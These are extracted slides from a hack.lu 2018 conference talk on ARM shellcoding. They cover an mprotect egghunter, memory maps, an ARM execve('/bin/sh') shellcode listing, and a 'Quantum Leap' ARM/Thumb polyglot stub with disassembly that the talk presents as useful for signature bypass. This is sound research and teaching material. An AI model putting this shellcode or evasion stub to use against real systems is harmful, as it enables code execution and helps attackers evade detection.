  • 9. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 mprotect Egghunter heap stack Lib Lib Binary shellcodeHACKHACK overflow ROP mprotect egghunter RWX RWX RWX RWX RWX RWX RWX gef> vmmap Start End Perm Path 0x00008000 0x00009000 rwx /home/pi/eggbreak 0x00010000 0x00011000 rwx /home/pi/eggbreak 0x00011000 0x00012000 rwx [heap] 0x00012000 0x00032000 rw- [heap] 0xb6e9c000 0xb6fbe000 r-x /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fbe000 0xb6fc5000 --- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc5000 0xb6fc7000 r-- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc7000 0xb6fc8000 rw- /lib/arm-linux-gnueabihf/libc-2.13.so 0xb6fc8000 0xb6fcb000 rw- 0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6ffa000 0xb6ffd000 rw- 0xb6ffd000 0xb6ffe000 r-- /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6ffe000 0xb6fff000 rw- /lib/arm-linux-gnueabihf/ld-2.13.so 0xb6fff000 0xb7000000 r-x [sigpage] 0xbefdf000 0xbeffe000 rw- 0xbeffe000 0xbf000000 rwx [stack] shellcode shellcode
  • 10. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 DEMO mprotect egghunter
  • 11. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Example: ARM execve() Shellcode .section .text .global _start _start: .code 32 add r1, pc, #1 bx r1 .code 16 adr r0, SHELL eor r1, r1, r1 eor r2, r2, r2 strb r2, [r0, #7] mov r7, #11 svc #1 .balign 4 SHELL: .ascii "/bin/shX" Switch to Thumb mode: branch pc + 1 • Rest of the shellcode implemented in Thumb mode. • Compact, avoids bad characters, etc.
  • 12. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Some Concerns • The "I can signature this" debate. – YARA Rules, IDS, Bro, blah blah… • What if our target runs on a Thumb-only processor? – for example: Cortex-M One Shellcode To Run Them All
  • 13. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 "Quantum Leap" Shellcode Start in THUMB modeStart in ARM mode THUMB shellcode (execve, reverse, …) THUMB shellcode (execve, reverse, …) "LEAP" TO THUMB PASS THROUGH PASS THROUGH PASS THROUGH Quantum Leap Same Same But Different
  • 14. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 "Quantum Leap" - what we need • An understanding of ARM and Thumb instruction encoding: – ARM instruction: "DO SOMETHING" – 2 THUMB instructions: "PASS THROUGH" • Conditional Execution in ARM instructions – very helpful! • A little bit of luck and perseverance. • Nomenclature Credit: "dialup" @44CON.
  • 15. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 The ARM to Thumb switch • Avoid "destructive" instructions – Branches, Load/Store, Floating Point, etc. • Should work on ARMv6 (no Thumb2) • Avoid Illegal instructions. 0: e28f1001 add r1, pc, #1 4: e12fff11 bx r1 8: 270b movs r7, #11 a: beff bkpt 0x00ff 0: 1001 asrs r1, r0, #32 2: e28f b.n 524 4: ff11 e12f vrhadd.u16 d14,d1,d31 8: 270b movs r7, #11 a: beff bkpt 0x00ff ORIGINAL ARM CODE "THUMB VIEW"
  • 16. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 ARM and THUMB decoding - 1 e28f1001 1110 0010 1000 1111 0001 0000 0000 0001 add r1,pc,#1 4 BYTE ARM INSTRUCTION - add r1, pc, #1 conditional opcodestatus operand 1 destination operand 2 Thumb instruction 2 Thumb instruction 1 • Controlled by opcode and conditional flags. • Partially influenced by the first operand. • Trickier to control. • Controlled by Operands of the ARM instruction. • Easier to control. im m ediate
  • 17. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 ARM and THUMB decoding - 1 e28f1001 1110 0010 1000 1111 0001 0000 0000 0001 add r1,pc,#1 1001 0001 0000 0000 0001 asrs r1,r0,#32 e28f 1110 0010 1000 1111 b 524 1 ARM INSTRUCTION RESULTING INTO 2 THUMB INSTRUCTIONS: conditional opcodestatus destination operand 2 im m ediate Branch instructions are destructive Thumb Opcode 2 influenced by ARM conditional bits operand 1 Thumb Opcode 1 influenced by ARM destination operand
  • 18. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 (Un)conditional Instructions • How can we turn an ARM instruction into a conditional instruction… • …with guaranteed execution everytime? • COMPLIMENTARY CONDITIONS. • One of the instructions is guaranteed to execute, irrespective of condition flags. e28f1001 add r1, pc, #1 128f1005 addne r1, pc, #5 028f1001 addeq r1, pc, #1 UNCONDITIONAL INSTRUCTION COMPLIMENTARY CONDITIONS
  • 19. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 ARM and THUMB decoding - 2 128f1005: 0001 0010 1000 1111 0001 0000 0000 0101 addne r1,pc,#5 1005: 0001 0000 0000 0101 asrs r5,r0,#32 128f: 0001 0010 1000 1111 asrs r7,r1,#10 028f1001: 0000 0010 1000 1111 0001 0000 0000 0001 addeq r1,pc,#1 1001: 0001 0000 0000 0001 asrs r1,r0,#32 028f: 0000 0010 1000 1111 lsls r7,r1,#10 USING CONDITIONAL ARM INSTRUCTIONS: conditional opcodestatus destination operand 2 im m ediate No destructive instructions in Thumb mode Complimentary Conditional ARM instructions operand 1
  • 20. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Final "Quantum Leap" Code 0: 228fa019 addcs sl, pc, #25 4: 328fa015 addcc sl, pc, #21 8: 21a0400d movcs r4, sp c: 31a0400d movcc r4, sp 10: 292d0412 pushcs {r1, r4, sl} 14: 392d0412 pushcc {r1, r4, sl} 18: 28bda002 popcs {r1, sp, pc} 1c: 38bda002 popcc {r1, sp, pc} 20: beff bkpt 0x00ff 22: beff bkpt 0x00ff 0: a019 add r0, pc, #100 2: 228f movs r2, #143 4: a015 add r0, pc, #84 6: 328f adds r2, #143 8: 400d ands r5, r1 a: 21a0 movs r1, #160 c: 400d ands r5, r1 e: 31a0 adds r1, #160 10: 0412 lsls r2, r2, #16 12: 292d cmp r1, #45 14: 0412 lsls r2, r2, #16 16: 392d subs r1, #45 18: a002 add r0, pc, #8 1a: 28bd cmp r0, #189 1c: a002 add r0, pc, #8 1e: 38bd subs r0, #189 20: beff bkpt 0x00ff 20: beff bkpt 0x00ff QUANTUM LEAP: ARM TO THUMB QUANTUM LEAP: PASS THROUGH (THUMB)
  • 21. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Assembling the Quantum Leap • No Thumb2 instructions. • No NULL bytes. • Took many iterations to finalise! • bx sl implemented by push {sl}, pop {pc}. • Register list proved to be a challenge. • Registers r4, sl altered in ARM. • Registers r0, r1, r2, r5 altered in Thumb.
  • 22. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 DEMO Quantum Leap Shellcode
  • 23. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 Conclusion • ARM/Thumb Polyglot instructions and conditional execution offer many opportunities for obfuscation and signature bypass. • Lots of exploration opportunities in ARM shellcoding. https://github.com/therealsaumil/arm_shellcode
  • 24. NETSQUARE (c) SAUMIL SHAHhack.lu 2018 exit(0) Saumil Shah @therealsaumil #hacklu 2018